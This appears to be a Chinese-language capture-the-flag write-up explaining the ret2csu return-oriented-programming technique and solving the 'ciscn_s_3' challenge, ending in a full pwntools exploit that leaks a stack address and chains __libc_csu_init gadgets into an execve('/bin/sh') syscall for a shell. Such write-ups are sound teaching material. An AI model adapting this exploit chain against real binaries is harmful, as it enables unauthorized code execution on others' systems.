0%

何为ret2csu?

ret2csu即通过栈溢出等方法构造ROP链劫持利用__libc_csu_init函数

这个函数长什么样

0

这是该函数全貌,不过我们主要利用0x400500x4005a4这两段,下文简称下面那部分为csu0,上面那部分为csu1

代码分析

csu0段代码主要进行的是将栈上的数据弹入到指定寄存器中(进行劫持利用时一般是直接从csu0段的第二行开始利用,即跳过``add rsp,8`)

csu1段则对弹入寄存器中的数据进行进一步处理

1
2
3
4
5
6
rbx --> 与r12一起控制跳转地址
rbp --> 与rbx一起作为是否循环条件
r12 --> 与rbx一起控制跳转地址
r13 --> rdx
r14 --> rsi
r15 --> edi(零扩展地赋值给rdi)

这里rbx一般赋值为0,rbp赋值1,避免进入循环.(如果需要借助csu来控制rbx的值,得注意r12与rbp的值)

适用情形

控制edi,rsi,rdx的参数

这三个寄存器在64位程序中储存的是函数调用时前三个参数

向bss段写入数据

前提得先泄露出libc的版本及基址

通过csu(0,1,read_addr,0,bss_addr,0,ret_addr)来向bss段写入数据

实战

例题:ciscn_s_3

checksec

1

先checkesc查看保护,除了nx啥都没开,不过这个预示着这题可能需要ROP链的构造

调试分析

2

调试偶遇限制读入0x400字节的read函数,试试看能否溢出

这里使用cyclic工具先生成一个100个字母的字符串cyclic 100

3

这里返回地址成功被修改了,看看偏移是多少

cyclic -l 0x6161616661616165

4

IDA分析

5

6

主程序就是系统调用了一个read函数和write函数

这个read函数如上所述,可以通过栈溢出控制,而这个write函数输出的字节为0x30,我们的的buf变量只有0x10的空间,所以可以通过write函数来泄露栈地址

然后在函数栏发现了一个名为gadgets的可疑函数,跟进去看看

7

是给rax赋值的语句,而rax则与``syscall`有关

syscallrax寄存器读取值来进行系统调用,而3Bh对应的系统调用就是execve

逻辑推理

那么到这里我们的思路就很清晰了,我们的目的就是通过执行execve(/bin/sh,0,0)来getshell

即构造最终各寄存器储存的值是这样↓

1
2
3
4
rax = 0x3b
rdi = '/bin/sh'
rsi = 0
rdx = 0

这里rax由gadgets这里的代码段来控制

而‘/bin/sh’可以直接往栈上写,然后通过泄露地址来将‘/bin/sh’弹入寄存器

至于rsi和rdi的值直接通过csu函数进行修改

那么到这里还有一个问题:如何泄露‘/bin/sh’地址

泄露栈地址

8

这里我们选取原rbp+10处的值作为基址来计算输入数据的偏移

理由: write输出的为0x30个字节,而rbp+8的位置是返回地址,在泄露地址的时候可能会通过栈溢出修改rbp的值,再往下就只有rbp+10处是储存的栈上的地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
context.log_level = 'DEBUG'
#p = remote('node5.buuoj.cn','29976')
p = process('ciscn_s_3')
#gdb.attach(p,'b main')

mov_rax = 0x4004E2
csu0 = 0x40059A
csu1 = 0x400580
vuln = 0x0004004ed
pop_rdi = 0x4005a3
syscall = 0x400501
stack_offset = 0x158
#stack_offset = 0x118 *远程的偏移为0x118*
payload0 = b'A'*0x10 + p64(vuln)
#print(payload0)
p.sendline(payload0)
p.recv(0x20)

stack = u64(p.recv(8)) - stack_offset
#print(hex(stack))
payload = p64(pop_rdi) + b'/bin/sh\x00' + p64(csu0)
payload += p64(0) + p64(1) + p64(stack) + p64(0) + p64(0) + p64(0)
payload += p64(csu1) + p64(mov_rax)
payload += p64(pop_rdi) + p64(stack+0x8) + p64(syscall)
p.send(payload)
p.interactive()

小结

该题通过ret2csu来控制rsi与rdx的值使得execve函数能够成功getshell

fflush的sh是system(sh)的sh😋

如果找不到/bin/sh字符串,何尝不试试fflush的“sh”?